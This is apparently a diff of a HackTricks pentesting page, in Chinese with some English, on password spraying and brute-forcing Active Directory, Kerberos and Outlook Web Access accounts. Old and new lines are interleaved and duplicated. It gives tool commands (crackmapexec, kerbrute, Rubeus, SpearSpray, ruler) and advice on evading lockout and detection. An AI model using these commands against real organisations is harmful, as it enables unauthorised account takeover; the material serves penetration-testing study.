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# 密码喷洒 / 暴力破解
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# Password Spraying / Brute Force
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{{#include ../../banners/hacktricks-training.md}}
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## **密码喷洒**
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一旦你找到了几个 **有效的用户名**，你可以尝试最 **常见的密码**（请记住环境的密码策略）与每个发现的用户。\
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默认情况下，**最小** **密码** **长度** 为 **7**。
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## **Password Spraying**
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常见用户名的列表也可能有用：[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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一旦你找到几个 **valid usernames**，你可以对每个已发现的用户尝试最常见的 **common passwords**（记住环境的 **password policy**）。\
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按 **default**，**minimum** **password** **length** 为 **7**。
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请注意，如果你尝试多个错误密码，**可能会锁定某些账户**（默认情况下超过 10 次）。
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Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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### 获取密码策略
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注意，你 **could lockout some accounts if you try several wrong passwords**（默认超过10次）。
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如果你有一些用户凭据或作为域用户的 shell，你可以 **获取密码策略**：
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### 获取 password policy
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如果你有一些用户凭证或以 domain user 身份的 shell，你可以 **get the password policy with**:
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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@ -30,7 +31,7 @@ net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### 从Linux（或所有）进行利用
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### 从 Linux (或任意平台) 进行利用
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- 使用 **crackmapexec:**
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```bash
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@ -46,7 +47,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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- [**spray**](https://github.com/Greenwolf/Spray) _**(您可以指示尝试次数以避免锁定):**_
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- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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@ -68,7 +69,7 @@ done
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```
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#### 从 Windows
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- 使用带有暴力模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本：
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- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本：
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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@ -76,7 +77,7 @@ done
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域中生成用户，并将从域中获取密码策略，并根据该策略限制尝试次数）：
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- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它默认可以从域中生成用户，并会从域获取密码策略并根据该策略限制尝试次数)：
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```bash
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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@ -88,9 +89,74 @@ Invoke-SprayEmptyPassword
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
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Kerberos pre-auth–based spraying 比 SMB/NTLM/LDAP bind attempts 产生的噪声更少，并且更符合 AD lockout policies。SpearSpray 将 LDAP-driven targeting、pattern engine 和 policy awareness（domain policy + PSOs + badPwdCount buffer）结合起来，以更精确且更安全的方式进行喷洒。它还可以在 Neo4j 中标记被攻破的 principals 以便 BloodHound 路径分析。
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Key ideas:
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- LDAP user discovery 支持 paging 和 LDAPS，可选地使用自定义 LDAP filters。
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- Domain lockout policy + PSO-aware filtering，保留一个可配置的尝试缓冲（threshold）以避免锁定用户。
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- Kerberos pre-auth validation 使用快速的 gssapi bindings（在 DCs 上生成 4768/4771，而不是 4625）。
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- 基于 pattern 的每用户密码生成，使用像名字和从每个用户的 pwdLastSet 派生的时间变量。
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- 通过线程、jitter 和 max requests per second 控制吞吐量。
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- 可选的 Neo4j 集成，用于标记已攻破的用户以供 BloodHound 使用。
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Basic usage and discovery:
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```bash
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# List available pattern variables
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spearspray -l
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# Basic run (LDAP bind over TCP/389)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
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# LDAPS (TCP/636)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
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```
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目标定位与模式控制：
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```bash
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# Custom LDAP filter (e.g., target specific OU/attributes)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
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-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
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# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
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```
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隐蔽性与安全控制：
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```bash
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# Control concurrency, add jitter, and cap request rate
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
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# Leave N attempts in reserve before lockout (default threshold: 2)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
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```
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Neo4j/BloodHound 数据丰富：
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```bash
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
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```
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模式系统概述 (patterns.txt):
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```text
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# Example templates consuming per-user attributes and temporal context
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{name}{separator}{year}{suffix}
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{month_en}{separator}{short_year}{suffix}
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{season_en}{separator}{year}{suffix}
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{samaccountname}
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{extra}{separator}{year}{suffix}
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```
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Available variables include:
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- {name}, {samaccountname}
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- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
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- Composition helpers and org token: {separator}, {suffix}, {extra}
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Operational notes:
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- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
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- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
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- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
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> 提示：SpearSpray’s 默认 LDAP 页面大小为 200；必要时使用 -lps 调整。
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## Outlook Web Access
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有多种工具用于**密码喷洒 Outlook**。
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有多种工具用于 p**assword spraying outlook**。
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- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
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- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
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@ -98,7 +164,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
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- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)（Powershell）
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- 使用 [MailSniper](https://github.com/dafthack/MailSniper)（Powershell）
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要使用这些工具中的任何一个，您需要一个用户列表和一个密码/一小部分密码列表进行喷洒。
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要使用上述任何工具，您需要一个用户列表以及一个密码或一个小的密码列表用于 password spraying。
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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@ -117,8 +183,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
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- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## References
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## 参考资料
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- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
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- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
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- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
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- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
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- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
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- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
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